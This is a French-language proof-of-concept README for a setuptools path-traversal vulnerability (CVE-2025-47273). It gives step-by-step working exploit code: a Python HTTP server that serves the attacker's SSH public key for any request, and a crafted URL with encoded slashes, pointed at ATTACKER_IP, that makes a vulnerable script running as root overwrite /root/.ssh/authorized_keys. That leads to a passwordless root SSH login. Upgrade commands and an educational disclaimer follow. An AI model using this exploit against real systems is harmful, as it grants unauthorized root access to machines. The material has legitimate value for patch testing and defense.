
CVE-2025-47273 — PoC de traversée de chemin setuptools
Preuve de concept d'exploitation pour une vulnérabilité de traversée de chemin dans Python setuptools < 78.1.1.
En abusant de la fonction _download_url du composant PackageIndex, un attaquant peut écrire des fichiers arbitraires à n'importe quel endroit du système de fichiers — avec les privilèges du processus exécutant setuptools.
| Champ | Détail |
|---|---|
| 🎯 Cible | Python setuptools < 78.1.1 |
| 🐛 Classe de bogue | Traversée de chemin (CWE-22) |
| 💥 Impact | Écriture arbitraire de fichiers |
| 📍 Vecteur d'attaque | URL d'index de paquet malveillante |
| 🔍 Cause racine | os.path.join() ignore tmpdir lorsque le second argument commence par / |
~/.ssh/id_rsa + id_rsa.pub)PackageIndex de setuptools avec une URL contrôlée par l'utilisateur# Copiez votre clé publique dans le répertoire courant pour la servir
cp ~/.ssh/id_rsa.pub authorized_keys
Ce serveur répond à toute requête GET avec votre clé publique — indépendamment du chemin.
setuptools demandera le chemin /USER/.ssh/authorized_keys mais recevra le contenu de votre clé.
cat > python_server.py << 'EOF'
import http.server
import socketserver
class Handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
# Serve authorized_keys regardless of path requested
self.send_response(200)
self.end_headers()
with open("authorized_keys", "rb") as f:
self.wfile.write(f.read())
with socketserver.TCPServer(("", 80), Handler) as httpd:
httpd.serve_forever()
EOF
python3 python_server.py
ATTACKER_IP="192.168.1.20"
TARGET_USER="root"
sudo python3 /path/to/vulnerable_script.py \
"http://${ATTACKER_IP}/%2f${TARGET_USER}%2f.ssh%2fauthorized_keys#egg=evil-1.0"
ssh root@VICTIM_IP
Aucun mot de passe. Shell root direct. 🔑
La version 78.1.1 corrige le problème.
| Gestionnaire de paquets | Commande |
|---|---|
| 🐍 pip | pip install --upgrade setuptools |
| 🐧 Debian/Ubuntu | sudo apt upgrade python3-setuptools |
| 🎩 RHEL/Fedora | sudo dnf upgrade python3-setuptools |
| 🏗️ Manuel | Versions de setuptools |
Ce code de Preuve de Concept (PoC) est fourni à des fins éducatives et de tests d'intrusion autorisés uniquement.